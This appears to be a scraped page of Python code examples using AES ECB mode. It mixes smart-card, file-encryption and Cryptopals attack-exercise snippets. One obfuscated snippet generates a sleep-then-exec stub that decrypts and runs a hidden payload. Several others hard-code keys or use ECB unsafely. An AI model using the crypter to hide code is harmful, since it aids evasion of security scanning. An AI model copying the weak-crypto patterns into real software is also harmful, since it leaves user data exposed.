我们从Python开源项目中,提取了以下49个代码示例,用于说明如何使用Crypto.Cipher.AES.MODE_ECB。
def encrypt(self, data): """Encrypt sensitive data by KIK. For (3)DES, data must be padded to BS. For AES, if data not BS-alligned, they are padded by '80..00'""" l = len(data) if self.zAES: l %= 16 if l > 0: data += '\x80' + '\0'*(15-l) key = AES.new(self.keyValue, AES.MODE_CBC, IV='\0'*16) else: # suppose 8B aligned data assert l % 8 == 0 # for (3)DES KIK, ECB is used # KeyType.DES_IMPLICIT is supposed to be 3DES ECB if self.keyType in (KeyType.TDES_CBC, KeyType.DES_IMPLICIT): key = DES3.new(self.keyValue, DES.MODE_ECB) elif self.keyType in (KeyType.DES_ECB, KeyType.DES_CBC): key = DES.new(self.keyValue, DES.MODE_ECB) else: raise ValueError("Unknown key type %02X" % self.keyType) return key.encrypt(data)
def AESEnc(sour, key): from Crypto.Cipher import AES from Crypto import Random sour = sour.encode('utf8') key = key.encode('utf8') bs = AES.block_size pad = lambda s: s + (bs - len(s) % bs) * chr(bs - len(s) % bs) iv = Random.new().read(bs) cipher = AES.new(key, AES.MODE_ECB, iv) resData1 = cipher.encrypt(pad(sour)) resData2 = resData1.encode('hex') resData3 = resData2.upper() print resData3 return resData3
def RandomEncrypt(plaintext): """Returns a tuple with the encrypted text and the mode used.""" # Random key. key = Random.new().read(AES.block_size) # Random padding both before and after the plaintext. The # size of the second padding cannot be random since the result # needs to have a number of bytes multiple of 16. paddingSize = random.randint(5, 10) prepend = Random.new().read(paddingSize) append = Random.new().read(AES.block_size - paddingSize) # Pick encryption mode at random. mode = None if random.randint(0, 1) == 0: mode = AES.MODE_ECB else: mode = AES.MODE_CBC # Perform the encryption. aes = aes_lib.AESCipher(key, mode=mode) text = prepend + plaintext + append return (aes.aes_encrypt(text), mode)
def SimulateCBCEncryption(self, plaintext): assert self.mode == AES.MODE_ECB prev_ct = self._iv block_index = 0 ciphertext = b'' # The loop simulates decryption through AES in CBC mode. # In such mode, the ciphertext is divided in blocks the size # of the key. Each block is decrypted, then the plaintext is XORed # with the previous ciphertext block. To initialize the algorithm, # a random IV (initialization vector) is used. while block_index < len(plaintext): block = plaintext[block_index : block_index + AES.block_size] final_block = self._ByteXOR(block, prev_ct) cipher_block = self.aes_encrypt(final_block) prev_ct = cipher_block ciphertext += cipher_block block_index += AES.block_size return ciphertext
def MerkleDamgard(message, state, stateLen): """Applies an arbitrary Merkle-Damgard construction to the message. The default state length and initial state are those used all over this program. """ newState = state # The state length we use is shorter than what AES wants for the keys. newState = padPKCS7(newState) for i in range(GetNumBlocks(message)): cipher = AES.new(newState, AES.MODE_ECB) newState = cipher.encrypt(GetBlock(message, i)) # This would be a really bad idea to do in practice, if we are # actually using AES or an algorithm that requires keys of # a certain size. It's needed here because the hash and # the key needs to be the same for the challenge to work, and # the hash we return has 2 bytes. newState = padPKCS7(newState[:stateLen]) return newState[:stateLen] # Generates the initial 2**k states of the tree at random. We make # all of them different with each other.
def MerkleDamgard(message, state=b'I\xbf', stateLen=2): """Applies an arbitrary Merkle-Damgard construction to the message. The default state length and initial state are those used all over this program. """ newState = state # The state length we use is shorter than what AES wants for the keys. newState = padPKCS7(newState) for i in range(GetNumBlocks(message)): cipher = AES.new(newState, AES.MODE_ECB) newState = cipher.encrypt(GetBlock(message, i)) # This would be a really bad idea to do in practice, if we are # actually using AES or an algorithm that requires keys of # a certain size. It's needed here because the hash and # the key needs to be the same for the challenge to work, and # the hash we return has 2 bytes. newState = padPKCS7(newState[:stateLen]) return newState[:stateLen]
def encrypt(self, plaintext): """CBC encryption.""" cipher = AES.new(key=self._key, mode=AES.MODE_ECB) # The full URL is not necessary for this setup, so I am just encrypting # the plaintext as it is. I don't even need to support padding. prev_ct = self._iv block_index = 0 ciphertext = b'' # The loop simulates encryption through AES in CBC mode. while block_index < len(plaintext): block = plaintext[block_index : block_index + AES.block_size] final_block = strxor(block, prev_ct) cipher_block = cipher.encrypt(final_block) prev_ct = cipher_block ciphertext += cipher_block block_index += AES.block_size return ciphertext
def decrypt(self, ciphertext): """CBC decryption.""" cipher = AES.new(key=self._key, mode=AES.MODE_ECB) prev_ct = self._iv block_index = 0 plaintext = b'' # The loop simulates decryption through AES in CBC mode. while block_index < len(ciphertext): block = ciphertext[block_index : block_index + AES.block_size] prep_plaintext = cipher.decrypt(block) plaintext += strxor(prev_ct, prep_plaintext) prev_ct = block block_index += AES.block_size # Here we should check if this is all readable ASCII, and raise an # exception if it's not. However that part is not really necessary, # and converting from Exception object to byte string (instead of a # usual string) does not look great so let's be lazy :) return plaintext
def decryptStreamChunkOld(self,response, wfile, chunksize=24*1024, startOffset=0): if ENCRYPTION_ENABLE == 0: return # with open(in_filename, 'rb') as infile: origsize = struct.unpack('<Q', response.read(struct.calcsize('Q')))[0] decryptor = AES.new(self.key, AES.MODE_ECB) count = 0 while True: chunk = response.read(chunksize) count = count + 1 if len(chunk) == 0: break responseChunk = decryptor.decrypt(chunk) if count == 1 and startOffset !=0: wfile.write(responseChunk[startOffset:]) elif (len(chunk)) < (len(responseChunk.strip())): wfile.write(responseChunk.strip()) else: wfile.write(responseChunk)
def decryptCalculatePadding(self,response, chunksize=24*1024): if ENCRYPTION_ENABLE == 0: return # with open(in_filename, 'rb') as infile: origsize = struct.unpack('<Q', response.read(struct.calcsize('Q')))[0] decryptor = AES.new(self.key, AES.MODE_ECB) count = 0 while True: chunk = response.read(chunksize) count = count + 1 if len(chunk) == 0: break responseChunk = decryptor.decrypt(chunk) return int(len(chunk) - len(responseChunk.strip()))
def encryptString(self, stringDecrypted): if ENCRYPTION_ENABLE == 0: return # key = generate_key(key, salt, NUMBER_OF_ITERATIONS) # iv = ''.join(chr(random.randint(0, 0xFF)) for i in range(16)) encryptor = AES.new(self.key, AES.MODE_ECB) if len(stringDecrypted) == 0: return elif len(stringDecrypted) % 16 != 0: stringDecrypted += ' ' * (16 - len(stringDecrypted) % 16) import base64 stringEncrypted = base64.b64encode(encryptor.encrypt(stringDecrypted)) stringEncrypted = re.sub('/', '---', stringEncrypted) return stringEncrypted
def get_track_url(self, data): join = u'\u00a4'.join proxy = data['MD5_ORIGIN'][0] if data['FILESIZE_MP3_320']: track_format = 3 elif data['FILESIZE_MP3_256']: track_format = 5 else: track_format = 1 payload = join(map(str, [data['MD5_ORIGIN'], track_format, data['SNG_ID'], data['MEDIA_VERSION']])) payloadHash = get_md5(payload) def pad(s, BS=16): return s + (BS - len(s) % BS) * chr(BS - len(s) % BS) reference = pad(join([payloadHash, payload, '']).encode('latin-1')) cipher = AES.new('jo6aey6haid2Teih', mode=AES.MODE_ECB) reference = cipher.encrypt(reference).encode('hex').lower() return "http://e-cdn-proxy-{}.deezer.com/mobile/1/{}".format(proxy, reference)
def calcKCV(keyValue, zAES=False): """Calculate KCV for symmetric key. keyValue - key values as string (DES, 3DES2k, 3DES3k, AES) zAES - True if key is AES (i.e. encrypt block of '01' instead of '00') Return 3B-long string.""" if zAES: assert len(keyValue) in (16, 24, 32), "Wrong length of AES key" block = '\x01'*16 tkey = AES.new(keyValue, AES.MODE_ECB) else: assert len(keyValue) in (8, 16, 24), "Wrong length of (3)DES key" block = '\x00'*8 if len(keyValue) == 8: tkey = DES.new(keyValue, DES.MODE_ECB) else: tkey = DES3.new(keyValue, DES.MODE_ECB) return tkey.encrypt(block)[:3]
def wrapResp(self, resp, sw1, sw2): """ Wrap expected response as card would do.""" sw = (sw1 << 8) + sw2 if not(sw == 0x9000 or sw1 in (0x62, 0x63)): assert len(resp) == 0, "No response data expected" return [], sw1, sw2 dresp = l2s(resp) if (self.SL | self.rmacSL) & SL_RENC and len(dresp) > 0: assert len(dresp) <= 0xEF, "Data too long for RENC+RMAC" k = AES.new(self.SENC, AES.MODE_ECB) ICV = k.encrypt(pack(">QQ", 0x8000000000000000L | self.cmdCount / 0x10000000000000000L, self.cmdCount % 0x10000000000000000L)) k = AES.new(self.SENC, AES.MODE_CBC, IV=ICV) dresp = k.encrypt(pad80(dresp, 16)) if (self.SL | self.rmacSL) & SL_RMAC: assert len(dresp) <= 0xF0, "Data too long for RMAC" data2sign = self.MACchain + dresp + chr(sw1) + chr(sw2) rmac = CMAC(self.SRMAC, data2sign)[:8] dresp += rmac return s2l(dresp), sw1, sw2
def decode(encryptedValues, key): if key==None: values = encryptedValues else: hashKey = SHA256.new() hashKey.update(key.encode('utf_8')) key = hashKey.digest() decoder = AES.new(key, AES.MODE_ECB) values = [] for obj in encryptedValues: number = '' for s0 in decoder.decrypt(obj).decode("utf-8"): if s0.isdigit() or s0=='.': number += s0 else: break values.append(float(number)) return values
def encryption_oracle_aes(payload): global constant, prefix_len, suffix_len, secret if secret: if constant: payload = random_str(prefix_len) + payload + secret else: payload = random_str(random.randint(1, 50)) + payload + secret else: if constant: payload = random_str(prefix_len) + payload + random_str(suffix_len) else: payload = random_str(random.randint(1, 50)) + payload + random_str(random.randint(1, 50)) payload = add_padding(payload, AES.block_size) cipher = AES.new(key_AES, AES.MODE_ECB) return cipher.encrypt(payload)
def encryption_oracle_des(payload): global constant, prefix_len, suffix_len, secret if secret: if constant: payload = random_str(prefix_len) + payload + secret else: payload = random_str(random.randint(1, 50)) + payload + secret else: if constant: payload = random_str(prefix_len) + payload + random_str(suffix_len) else: payload = random_str(random.randint(1, 50)) + payload + random_str(random.randint(1, 50)) payload = add_padding(payload, DES3.block_size) cipher = DES3.new(key_DES3, DES3.MODE_ECB) return cipher.encrypt(payload)
def make_packet(key,seq,data): magic = b'\x80' eof = b'\xff' dlen = len(data) enc = AES.new(key, AES.MODE_ECB) #Compute "base" based on the sequence number and encrypt with net key base = struct.pack("<Ixc10x",seq,magic) data = bytearray(data) ebase = bytearray(enc.encrypt(base)[:dlen]) #XOR the encrypted base with the data payload = bytearray([ a ^ b for (a,b) in zip(data, ebase) ]) #Now pad, combine with header and compute HMAC prehmac = struct.pack("<8xIc"+str(dlen)+"s",seq,magic,bytes(payload)) hm = bytearray(hmac.new(key, msg=prehmac, digestmod=hashlib.sha256).digest()) #Reverse the order of the bytes and truncate hm.reverse() hm = bytes(hm)[:8] final = struct.pack("<Ic"+str(dlen)+"s8sc",seq,magic,bytes(payload),hm,eof) return final
def change_key(self, master_key): if (len(master_key)*8 not in (128, 192, 256)): raise InvalidInputException('Error: Master key must be \ 128, 192 or 256 bit') self.__master_key = master_key self.__aes_ecb = AES.new(self.__master_key, AES.MODE_ECB) self.__auth_key = bytes_to_long(self.__aes_ecb.encrypt(b'\x00' * 16)) # precompute the table for multiplication in finite field table = [] # for 8-bit for i in range(16): row = [] for j in range(256): row.append(gf_2_128_mul(self.__auth_key, j << (8 * i))) table.append(tuple(row)) self.__pre_table = tuple(table) self.prev_init_value = None # reset
def decrypt( self, content, secret, crypto_type ): ''' ?? :param content: ????? :param secret: ?? :param crypto_type: ???? :return: ''' if crypto_type == "AES": try: content = base64.b64decode( content ) obj = AES.new( secret, AES.MODE_ECB ) return obj.decrypt( content ).decode( 'utf-8' ).strip() except: LogUtil().error( "AES?????----" + traceback.format_exc() ) elif crypto_type == "3DES": try: content = base64.b64decode( content ) obj = DES3.new( secret, DES3.MODE_ECB ) return obj.decrypt( content ).decode( 'utf-8' ).strip() except: LogUtil().error( "3DES?????----" + traceback.format_exc() )
def beirfwihfsajps(path, output, chave): sahdvowhiohqwrqw = open(path, 'r') abdasbdio = sahdvowhiohqwrqw.read() abdasbdio_cifrado = skdbksalnksancas(abdasbdio, chave) payload = "from Crypto.Cipher import AES\n" payload += "from base64 import b64decode\n" payload += "from time import sleep\n" payload += "sleep(30)\n" payload += "aes = AES.new('%s', AES.MODE_ECB)\n" % chave payload += "exec(aes.decrypt(b64decode('%s')).rstrip('%s'))" % (abdasbdio_cifrado, PAD) andasndaasa = open(output, 'w') andasndaasa.write(payload) sahdvowhiohqwrqw.close() andasndaasa.close()
def cbc_decrypt(key, iv, cipher_text): """ CBC ????, ?????? ECB ????? :param key: "YELLOW SUBMARINE" :param iv: b'\x00' * 16 :param cipher_text: b"ciphertext" :return: "plaintext" """ block_size = 16 aes_ecb = AES.new(key, AES.MODE_ECB) # ???????ECB??CBC? blocks = divide_group(cipher_text, block_size) blocks.insert(0, iv) result = bytes() for index in range(1, len(blocks)): tmp = aes_ecb.decrypt(blocks[index]) result += bytes_xor(tmp, blocks[index - 1]) return result.decode("utf-8")
def encrypt(): cipher = AES.new(key.decode('hex'), AES.MODE_ECB) return cipher.encrypt(flag).encode("hex") # flush output immediately
def decrypt_backup(backup): key = binascii.unhexlify('000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F') length = (len(backup) / 16) * 16 cipher = AES.new(key, AES.MODE_ECB, '\x00' * 16) plain = cipher.decrypt(backup[0:length]) return plain
def DoCTR(text, key, nonce): """The algorithm is the same for both encryption and decryption.""" # Uses ECB inside for a single block. cipher = AES.new(key=key, mode=AES.MODE_ECB) resultingText = b'' keystream = b'' # There is no padding in CTR mode, so both a plaintext and a ciphertext # can be of non-exact block size. We decrypt the last block by generating # the keystream and only using the bytes we need. numBlocks = int(len(text) / AES.block_size) counter = 0 # +1 to get the final bytes that do not fit in a block. for blockIndex in range(0, numBlocks + 1): # If at the end, simply get all the remaining bytes; there # will be exactly AES.block_size or less of them. Otherwise, # get a block. if blockIndex == numBlocks: block = text[blockIndex * AES.block_size :] else: block = text[blockIndex * AES.block_size : (blockIndex + 1) * AES.block_size] # The keystream generator is composed by 8 bytes of the nonce + # 8 bytes of counter, little-endian. keystreamGen = bytes([nonce]) * 8 # This is a quick hack that only works if there are not enough # blocks of text to need the second digit of the counter too. # Since that is a lot of blocks we can be a bit lazy. keystreamGen += bytes([counter, 0, 0, 0, 0, 0, 0, 0]) # Careful, we always encrypt the keystream even when decrypting. keystream = cipher.encrypt(keystreamGen) # The PT is simply the CT XORed with the keystream, and vice versa. # Since the PT only depends on the same block of CT plus a predictable # keystream, CTR is very suited for parallel decryption of many blocks. resultingText += BlockXOR(block, keystream) counter += 1 return resultingText
def __init__(self, key, mode=AES.MODE_ECB): """Initialize a AES cipher with the given mode, and key (as a byte string)""" self._iv = Random.new().read(AES.block_size) self._cipher = AES.new(key, mode=mode, IV=self._iv)
def DetectEncryptionMode(ciphertext, block_size): """We can only recognize ECB if there is at least one repeated block in the ciphertext. But this won't always work, as different input blocks will produce different output blocks with ECB too.""" repetitions = CountRepeatedBlocks(ciphertext, block_size) return AES.MODE_ECB if repetitions > 0 else AES.MODE_CBC
def DetectEncryptionMode(ciphertext): """We can only recognize ECB if there is at least one repeated block in the ciphertext. But this won't always work, as different input blocks will produce different output blocks with ECB too.""" repetitions = CountRepeatedBlocks(ciphertext) return AES.MODE_ECB if repetitions > 0 else AES.MODE_CBC
def SimulateCBCDecryption(self, ciphertext): """Implement decryption with CBC mode, without relying on the underlying library. Only works if the current mode is ECB. No padding is applied. """ assert self.mode == AES.MODE_ECB prev_ct = self._iv block_index = 0 plaintext = b'' # The loop simulates decryption through AES in CBC mode. # In such mode, the ciphertext is divided in blocks the size # of the key. Each block is decrypted, then the plaintext is XORed # with the previous ciphertext block. To initialize the algorithm, # a random IV (initialization vector) is used. while block_index < len(ciphertext): block = ciphertext[block_index : block_index + AES.block_size] prep_plaintext = self.aes_decrypt(block) plaintext += self._ByteXOR(prev_ct, prep_plaintext) prev_ct = block block_index += AES.block_size return plaintext
def GetRandomPrefixLen(enc, block_size): """Discovers the length of the random prefix prepended to every plaintext, given the block size. CAVEAT EMPTOR! If the prefix length is bigger than the block size, this will noy work properly; if block size is 16 and prefix length is 19, we will return 3. I am not sure how to eliminate the ambiguity. """ textSize = block_size * 2 mode = None # When we detected the encryption mode, we had to use 3 blocks # of plaintext to be sure of getting 2 identical blocks of # ciphertext, due to the random length of the prefix. # # Here we start from 2 blocks of identical plaintext, and add # one byte until we get 2 blocks of identical ciphertext (which # is equivalent to our detection function successfully recognizing # ECB mode). At this point, the block size - the number of bytes # we had to add before succeeding is the length of the prefix. while mode != AES.MODE_ECB: ciphertext = enc.EncryptWithRandomPad(b'A' * textSize) mode = ch12.DetectEncryptionMode(ciphertext, block_size) textSize += 1 return (block_size - (textSize - (block_size * 2)) + 1)
def GetCTRCiphertext(sourceFilename): originalText = '' with open(sourceFilename, 'r') as input_file: originalText = input_file.read() aes = AES.new(b'YELLOW SUBMARINE', mode=AES.MODE_ECB, IV=Random.new().read(AES.block_size)) plaintext = aes.decrypt(base64.b64decode(originalText)) return ctr.DoCTR(plaintext, b'YELLOW SUBMARINE', 0)
def decryptFile(self, in_filename, out_filename=None, chunksize=24*1024): """ Decrypts a file using AES (CBC mode) with the given key. Parameters are similar to encrypt_file, with one difference: out_filename, if not supplied will be in_filename without its last extension (i.e. if in_filename is 'aaa.zip.enc' then out_filename will be 'aaa.zip') """ if ENCRYPTION_ENABLE == 0: return if not out_filename: out_filename = os.path.splitext(in_filename)[0] with open(in_filename, 'rb') as infile: origsize = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0] #iv = infile.read(16) # decryptor = AES.new(key, AES.MODE_CBC, iv) # key = generate_key(password, salt, NUMBER_OF_ITERATIONS) decryptor = AES.new(self.key, AES.MODE_ECB) with open(out_filename, 'wb') as outfile: while True: chunk = infile.read(chunksize) if len(chunk) == 0: break outfile.write(decryptor.decrypt(chunk)) outfile.truncate(origsize)
def decryptStream(self,response, chunksize=24*1024): if ENCRYPTION_ENABLE == 0: return # with open(in_filename, 'rb') as infile: origsize = struct.unpack('<Q', response.read(struct.calcsize('Q')))[0] decryptor = AES.new(self.key, AES.MODE_ECB) with open(out_filename, 'w') as outfile: while True: chunk = response.read(chunksize) if len(chunk) == 0: break outfile.write(decryptor.decrypt(chunk)) outfile.truncate(origsize)
def decryptCalculateSizing(self,response): if ENCRYPTION_ENABLE == 0: return # with open(in_filename, 'rb') as infile: origsize = struct.unpack('<Q', response.read(struct.calcsize('Q')))[0] decryptor = AES.new(self.key, AES.MODE_ECB) return origsize
def decryptString(self, stringEncrypted): if ENCRYPTION_ENABLE == 0: return decryptor = AES.new(self.key, AES.MODE_ECB) if len(stringEncrypted) == 0: return import base64 stringEncrypted = re.sub('---', '/', stringEncrypted) stringDecrypted = decryptor.decrypt(base64.b64decode(stringEncrypted)) return stringDecrypted
def __init__(self, password): password = pad16(password) self.cipher = AES.new(password, AES.MODE_ECB)
def basic_decrypt(cls, key, ciphertext): assert len(ciphertext) >= 16 aes = AES.new(key.contents, AES.MODE_ECB) if len(ciphertext) == 16: return aes.decrypt(ciphertext) # Split the ciphertext into blocks. The last block may be partial. cblocks = [ciphertext[p:p+16] for p in xrange(0, len(ciphertext), 16)] lastlen = len(cblocks[-1]) # CBC-decrypt all but the last two blocks. prev_cblock = '\0' * 16 plaintext = '' for b in cblocks[:-2]: plaintext += _xorbytes(aes.decrypt(b), prev_cblock) prev_cblock = b # Decrypt the second-to-last cipher block. The left side of # the decrypted block will be the final block of plaintext # xor'd with the final partial cipher block; the right side # will be the omitted bytes of ciphertext from the final # block. b = aes.decrypt(cblocks[-2]) lastplaintext =_xorbytes(b[:lastlen], cblocks[-1]) omitted = b[lastlen:] # Decrypt the final cipher block plus the omitted bytes to get # the second-to-last plaintext block. plaintext += _xorbytes(aes.decrypt(cblocks[-1] + omitted), prev_cblock) return plaintext + lastplaintext
def __init__(self, key): key = digest(key)[:16] self.aes = AES.new(key, AES.MODE_ECB) self.padding = \ lambda data, extra: padding(data, self.BLOCK_SIZE, extra)
def encrypt(self, iv, plain_data): fullkey = self.key + iv[:self.iv_size] assert isinstance(iv, bytes) assert isinstance(plain_data, bytes) assert len(fullkey) == self.KEY_SIZE assert len(plain_data) % self.BLOCK_SIZE == 0 aes = AES.new(fullkey, AES.MODE_ECB) return aes.encrypt(plain_data)
def decrypt(self, iv, cipher_data): assert isinstance(iv, bytes) assert isinstance(cipher_data, bytes) fullkey = self.key + iv[:self.iv_size] assert len(fullkey) == self.KEY_SIZE assert len(cipher_data) % self.BLOCK_SIZE == 0 aes = AES.new(fullkey, AES.MODE_ECB) return aes.decrypt(cipher_data)
def __init__(self, key, mode=AES.MODE_ECB, iv=None): """ ??? :param key: :param mode: :param iv: """ self.key = key self.mode = mode self.bs = AES.block_size self.iv = '0' * self.bs if iv is None else iv
def setValue(self, keyvalue): keyvalue = ''.join(keyvalue) if self.zAES: assert len(keyvalue) in (16, 24, 32) cipher = AES.new(keyvalue, AES.MODE_ECB) poly = cipher.encrypt('\x00'*self.BS) self.xorKey1 = self.polyMulX(poly) self.xorKey2 = self.polyMulX(self.xorKey1) else: if len(keyvalue) != self.keysize: raise ValueError("KIC/KID=%02X, value length received %d" % (self.iKICD, len(keyvalue))) self.keyval = keyvalue
def CMAC(key, data): """ Calculate CMAC using AES as underlaying cipher. key - a key used for CMAC calculation (string 16, 24 or 32B long) data - data to be signed (string) Returns CMAC as a string 16B long. """ IrrPoly = 0x87 # irr. polynomial for F2m, m = 128 BS = 16 # block size of AES def polyMulX(poly): """Interpret value as a polynomial over F2m and multiply by the polynomial x (modulo irreducible polynomial)""" vals = list(unpack(">qq", poly)) carry = vals[1] < 0 and 1 or 0 vals[1] = ((vals[1] << 1) % 0x10000000000000000) if vals[0] < 0: vals[1] ^= IrrPoly vals[0] = ((vals[0] << 1) % 0x10000000000000000) + carry return pack(">QQ", *vals) kcv = AES.new(key, AES.MODE_ECB).encrypt('\0'*BS) xorKey1 = polyMulX(kcv) xorKey2 = polyMulX(xorKey1) odata = [ord(x) for x in data] sLB = len(data) % BS if(sLB > 0 or len(data) == 0): odata += [0x80] + [0]*(BS-sLB-1) xorkey = xorKey2 else: xorkey = xorKey1 for i in xrange(BS): odata[-BS+i] ^= ord(xorkey[i]) data = ''.join([chr(x) for x in odata]) cipher = AES.new(key, AES.MODE_CBC, IV='\0'*BS) sig = cipher.encrypt(data)[-BS:] return sig
def unwrapAPDU(self, apdu): """ Parse MACed/encrypted APDU, decipher and check MAC. """ lc = self.checkAPDU(apdu) if apdu[1] == 0xC0: # Get Response TPDU return apdu if 'beginRmaSL' in self.__dict__: self.rmacSL = self.beginRmacSL del self.beginRmacSL self.cmdCount += 1 cla = apdu[0] b8 = cla & 0x80 assert cla & 0x04, "Secure messaging missing" if (cla & 0x40 == 0 and cla & 0x03 > 0) or cla & 0x40 != 0: # check logical channels assert cla == self.CLA(True, b8), "CLA mismatch" scla = b8 | 0x04 # CLA without log. ch. but with secure messaging data = l2s(apdu[5:]) if self.SL & SL_CMAC: # C-MAC assert lc >= 8, "Missing/ too short CMAC" sdata = data[:-8] data2sign = self.MACchain + chr(scla) + l2s(apdu[1:4])\ + chr(lc) + sdata self.MACchain = CMAC(self.SMAC, data2sign) assert data[-8:] == self.MACchain[:8], "Wrong CMAC" data = sdata lc -= 8 if self.SL & SL_CENC and lc > 0: # C-ENC assert lc % 16 == 0, "Encoded data length not multiple of BS" k = AES.new(self.SENC, AES.MODE_ECB) ICV = k.encrypt(pack(">QQ", self.cmdCount / 0x10000000000000000L, self.cmdCount % 0x10000000000000000L)) k = AES.new(self.SENC, AES.MODE_CBC, IV=ICV) pdata = k.decrypt(data) data = unpad80(pdata, 16) assert len(data) > 0, "Empty data encrypted" lc = len(data) apdu = [self.CLA(False, b8)] + apdu[1:4] + [lc] + s2l(data) return apdu
def unwrapResp(self, resp, sw1, sw2): """ Unwrap response (decipher and check MAC).""" sw = (sw1 << 8) + sw2 if not(sw == 0x9000 or sw1 in (0x62, 0x63)): assert len(resp) == 0, "No response data expected" return [], sw1, sw2 dresp = l2s(resp) if (self.SL | self.rmacSL) & SL_RMAC: assert len(resp) >= 8, "Resp data shorter than 8: %d" % len(resp) data2sign = self.MACchain + dresp[:-8] + chr(sw1) + chr(sw2) rmac = CMAC(self.SRMAC, data2sign)[:8] assert rmac == dresp[-8:], "Wrong R-MAC: %s vs expected: %s" % \ (hexlify(dresp[-8:]).upper(), hexlify(rmac).upper()) dresp = dresp[:-8] if (self.SL | self.rmacSL) & SL_RENC and len(dresp) > 0: assert len(dresp) % 16 == 0, \ "Length of encrypted data not multiple of 16: %d" % len(dresp) k = AES.new(self.SENC, AES.MODE_ECB) ICV = k.encrypt(pack(">QQ", 0x8000000000000000L | self.cmdCount / 0x10000000000000000L, self.cmdCount % 0x10000000000000000L)) k = AES.new(self.SENC, AES.MODE_CBC, IV=ICV) ddata = k.decrypt(dresp) data = unpad80(ddata, 16) assert len(data) > 0, "Empty data encrypted" else: data = dresp return s2l(data), sw1, sw2